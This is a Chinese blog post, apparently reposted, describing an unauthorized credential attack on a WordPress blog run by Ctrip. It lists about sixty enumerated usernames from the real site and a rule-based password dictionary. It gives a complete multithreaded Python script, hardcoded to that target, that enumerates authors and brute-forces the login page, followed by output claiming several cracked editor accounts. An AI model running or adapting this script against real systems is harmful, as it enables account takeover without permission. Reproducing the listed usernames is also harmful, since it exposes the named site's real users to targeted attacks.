0X00
之前也研究过一些系统的漏洞,exp的编写问题,这里面有用到fuzz技术,那是刚接触,感觉fuzz很神奇,可以知道挖掘漏洞,好强大。
引用杨凡的话:在我的理解中,fuzz模糊测试技术就是通过提交预设的不同类型的参数值给程序,看程序的反应如何,最终发现BUG/安全隐患并进行修复。
《模糊测试》这本书主要介绍的是主要操作系统和主要应用的fuzz测试方法和技巧,关于web安全的fuzzing好像很少,不过这里面的fuzz的技术和技巧可以借鉴到web漏洞的挖掘中吧。
0X01
最近一朋友被携程旅行网挖过去了,回家逛了一下携程网,顺便测试了下。
本次测试,将通过携程旅行网的自身业务逻辑,结合Fuzzing,漏洞自动化挖掘,对携程旅行网进行的一次白帽测试。
其实此次测试,可以说是Fuzzing,也可以说是暴力破解,但是关键在于前期信息收集,规则整理,最后进行fuzz测试,这样的成功效率比暴力破解要高很多。
而且通过收集的信息,进一步组合利用,fuzz成功的效率可到%80——%90,效率是极高的。
0X02
此测试时针对wordpress的,大家都知道Wordpress在核心代码安全系数很高,而在逻辑设计上,却有很多问题。
遍历用户名:
http://ued.ctrip.com/blog/?author=1

http://ued.ctrip.com/blog/?author=55

通过如上链接,你只需要不停的更换author的id,就能遍历出整个Wordpress数据库内用户的username。
本次测试过程中,获取到携程旅行网http://ued.ctrip.com/blog/的用户名如下:
1==>用户名:admin 2==>用户名:Lucky 3==>用户名:阿瞬 4==>用户名:GreatHan 5==>用户名:nnMA 6==>用户名:Neao 7==>用户名:小飞猪 8==>用户名:祝 9==>用户名:子子 10==>用户名:m 11==>用户名:Slli 12==>用户名:小灰灰 13==>用户名:≮流光恋羽≯ 14==>用户名:PhoDynamite 15==>用户名:匪徒田老大 16==>用户名:nyanhan 17==>用户名:Paul 18==>用户名:蓝带鱼 19==>用户名:boston 20==>用户名:liuff 21==>用户名:雄关漫道真如铁 22==>用户名:jenny_zhuzhu 23==>用户名:xujia 24==>用户名:ycao 26==>用户名:e面包 27==>用户名:点头猪 28==>用户名:wayos 29==>用户名:lexrus 30==>用户名:Summer 32==>用户名:布衣ui 34==>用户名:浩子 35==>用户名:linxz 36==>用户名:henry 37==>用户名:liuh 38==>用户名:wt 39==>用户名:chxu 40==>用户名:linpan 41==>用户名:songchen 42==>用户名:decques 43==>用户名:weixj 44==>用户名:S++ 45==>用户名:labuladuo6 46==>用户名:heiwang 47==>用户名:苏昊 48==>用户名:火柴 49==>用户名:dewnerxu 50==>用户名:ScectVonVor 51==>用户名:CoigreeIrrict 52==>用户名:heisizipronee 53==>用户名:test 54==>用户名:hfliu 55==>用户名:豚豚 56==>用户名:hualv 57==>用户名:pencilstub 58==>用户名:neper 59==>用户名:密封罐头 60==>用户名:DLive 61==>用户名:Dailey 62==>用户名:xiaoda 63==>用户名:lqzhang 64==>用户名:Harry 65==>用户名:LYuShine_宇轩
0X03
存在缺陷的登录设计:
无验证码、无错误密码登录次数限制,更操蛋的是,你输入一个不存在的用户名,它还会告诉你是否存在,输入正确的用户名,错误密码,会提示用户的密码错误,无语……
http://ued.ctrip.com/blog/wp-login.php
既然知道了用户名,而且登录接口毫无阻挡,那就开启fuzzing了,测试开始。
这里我们的密码字典规则如下:
%username% = 用户名 %domain% = 公司域名 %username%%domain% %username%1 %username%12 %username%123 %username%1234 %username%12345 %username%123456 %username%@123 %username%@123.com %username%@163 %username%@163.com %username%163 %username%8 %username%88 %username%888 %username%999 %username%666 %username%2008 %username%2009 %username%2010 %username%2011 %username%2012 %username%2013 %username%@2008 %username%@2009 %username%@2010 %username%@2011 %username%@2012 %username%@2013 %username%!@#
0X04
对于Fuzzing的工具很多,这里自己用python写了一个,方便测试,密码字典小速度还不错。
#-*- coding:utf-8-*-
import urllib,urllib2,cookielib,urlparse
import re
import threading
from time import ctime
import time
class MyThread(threading.Thread):
def __init__(self, func, args, name = ''):
threading.Thread.__init__(self)
self.name = name
self.func = func
self.args = args
def run(self):
apply(self.func, self.args)
def get_usernamelist(url,author_id):
try:
#url_parse = urlparse.urlparse(url)
#domain = url_parse.scheme+"://"+url_parse.netloc
url = url+"?author=%s"%author_id
#print url
req = urllib2.Request(url)
res = urllib2.urlopen( req )
statue = res.code
if statue == 404:
return
if statue == 200:
html = res.read()
if re.search(r'<title>(.*?)\s.*?</title>',html):
author = re.search('<title>(.*?)\s.*?</title>',html).group(1)
#print "%s==>用户名:" % author_id + author
return author
if statue == 301:
if res.headers.has_key("location"):
location = res.headers["location"]
if re.search(r'/author/(.*?)/',location):
author = re.search(r'/author/(.*?)/',location).group(1)
#print "%s==>用户名:" % author_id + author + "\n"
return author
except:
pass
def get_passwordlist(username):
passwordlist = []
fuzz_list = ['ued','ctrip','uedctrip','','1','12','123','1234','12345','123456','!@#','@123','@123.com','163','@163','@163.com','8','88','888','999','666','2008','2009','2010','2011','2012','2013','@2008','@2009','@2010','@2011','@2012','@2013']
for i in fuzz_list:
passwordlist.append(username+i)
return passwordlist
def fuzz_password(url,username,password):
try:
post_data = {"log":username,"pwd":password,"wp-submit":"%E7%99%BB%E5%BD%95","redirect_to":url+"wp-admin%2F","testcookie":"1"}
url = url+"wp-login.php"
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
opener.addheaders = [('Cookie','wordpress_test_cookie=WP+Cookie+check')]
urllib2.install_opener(opener)
post_data = urllib.urlencode(post_data)
req = urllib2.Request(url)
res = urllib2.urlopen(req,post_data)
html = res.read()
#print html
if re.search(r'<div id="login_error">',html):
#print "%s<==>%s, is False ..."%(username,password)
return
else:
print "%s<==>%s, is True ..."%(username,password)
return
except:
print "%s<==>%s, may True ..."%(username,password)
return
def main(url,i):
usernamelist = []
author = get_usernamelist(url,i)
if author != "":
passwordlist = get_passwordlist(author)
for password in passwordlist:
fuzz_password(url,author,password)
if __name__ == '__main__':
print '\n*** Multiple Threads ***\n'
url = "http://ued.ctrip.com/blog/"
print "The Target Is: "+url+"\n"
threads = []
for i in range(1,66):
t = MyThread(main, (url,i), main.__name__)
threads.append(t)
if len(threads) != 0:
for i in range(1,16):
threads[i].start()
for i in range(1,16):
threads[i].join()
print '\n*** All Done ***\n'
结合上面收集的用户名,加上我们的规则,加上弱口令,很快就出来几个……
*** Multiple Threads *** The Target Is: http://ued.ctrip.com/blog/ Slli<==>Slli, may True ... PhoDyamite<==>PhoDynamite, may True ... nnMA<==>nnMA, may True ... *** All Done ***
可惜的是,这几个用户都是editor用户,没有跑出来admin。
当然这里的fuzz_list 可以添加你自己的密码字典去跑admin的密码咯。
0X05
我们来登陆以下看看:

剩下的就是我们可以通过这个入口,收集更多的资料,继续构造字典规则,添加密码字典,进行进一步fuzz,得到更多的业务账号,发现更多的漏洞咯。
转自:http://www.f4ck.org/article-1658-1.html